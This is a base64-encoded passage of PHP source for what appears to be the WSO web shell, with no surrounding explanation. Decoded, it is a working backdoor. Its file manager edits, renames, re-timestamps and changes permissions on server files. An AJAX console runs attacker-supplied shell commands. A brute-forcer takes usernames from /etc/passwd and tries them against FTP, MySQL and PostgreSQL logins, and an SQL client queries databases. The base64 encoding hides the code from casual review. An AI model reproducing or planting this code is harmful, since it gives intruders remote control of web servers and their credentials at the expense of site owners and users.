VwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ2NobW9kJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBlcm1zID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdlZGl0JzoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sInciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7DQogICAgICAgICAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ2hleGR1bXAnOg0KICAgICAgICAgICAgICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9IHN0cmxlbigkYyk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRuKys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkbiA9PSAzMikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRuID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoWzFdIC49ICc8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaFsyXSAuPSAiXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdyZW5hbWUnOg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICd0b3VjaCc6DQogICAgICAgICAgICAgICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR0aW1lKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIXRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGYWlsISc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgIC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vX291dCcsIDApOw0KIA0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCiAgICAgICAgICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCB0cnVlKTsNCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIGVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsNCiAgICAgICAgICAgICAgICAkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLndzb0V4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOw0KICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7DQogICAgICAgICAgICAgICAgZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7DQogICAgICAgICAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICAgICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIDApOw0KICAgICAgICB3c29IZWFkZXIoKTsNCiAgICBlY2hvICI8c2NyaXB0Pg0KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsNCnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsNCnZhciBjdXIgPSAwOw0KZnVuY3Rpb24ga3AoZSkgew0KICAgICAgICB2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsNCiAgICAgICAgaWYobiA9PSAzOCkgew0KICAgICAgICAgICAgICAgIGN1ci0tOw0KICAgICAgICAgICAgICAgIGlmKGN1cj49MCkNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICBjdXIrKzsNCiAgICAgICAgfSBlbHNlIGlmKG4gPT0gNDApIHsNCiAgICAgICAgICAgICAgICBjdXIrKzsNCiAgICAgICAgICAgICAgICBpZihjdXIgPCBjbWRzLmxlbmd0aCkNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICBjdXItLTsNCiAgICAgICAgfQ0KfQ0KZnVuY3Rpb24gYWRkKGNtZCkgew0KICAgICAgICBjbWRzLnBvcCgpOw0KICAgICAgICBjbWRzLnB1c2goY21kKTsNCiAgICAgICAgY21kcy5wdXNoKCcn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CiANCmZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKSB7DQogICAgICAgIHdzb0hlYWRlcigpOw0KICAgICAgICBpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsNCiAgICAgICAgICAgICAgICBlY2hvICc8aDE+UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nPGJyPic7DQogICAgICAgICAgICAgICAgaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZnRwJyApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHdzb0JydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkZnApIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZ0cF9jbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdteXNxbCcgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB3c29CcnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBteXNxbF9jbG9zZSgkcmVzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9cG9zdGdyZXMiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBwZ19jbG9zZSgkcmVzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRzdWNjZXNzID0gMDsNCiAgICAgICAgICAgICAgICAkYXR0ZW1wdHMgPSAwOw0KICAgICAgICAgICAgICAgICRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7DQogICAgICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCB3c29CcnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkbGluZVswXSktMTsgJGk+PTA7IC0tJGkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgLj0gJGxpbmVbMF1bJGldOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiggd3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkdG1wKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCRfUE9TVFsnZGljdCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSB0cmltKCRsaW5lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiggd3NvQnJ1dGVGb3JjZSgkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkX1BPU1RbJ2xvZ2luJ10sICRsaW5lKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICA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gdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nDQogICAgICAgICAgICAgICAgLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nDQogICAgICAgICAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nDQogICAgICAgICAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsNCiAgICAgICAgZWNobyAnPC9kaXY+PGJyPic7DQogICAgICAgIHdzb0Zvb3RlcigpOw0KfQ0KIA0KZnVuY3Rpb24gYWN0aW9uU3FsKCkgew0KICAgICAgICBjbGFzcyBEYkNsYXNzIHsNCiAgICAgICAgICAgICAgICB2YXIgJHR5cGU7DQogICAgICAgICAgICAgICAgdmFyICRsaW5rOw0KICAgICAgICAgICAgICAgIHZhciAkcmVzOw0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT50eXBlID0gJHR5cGU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7DQogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBxdWVyeSgkc3RyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJl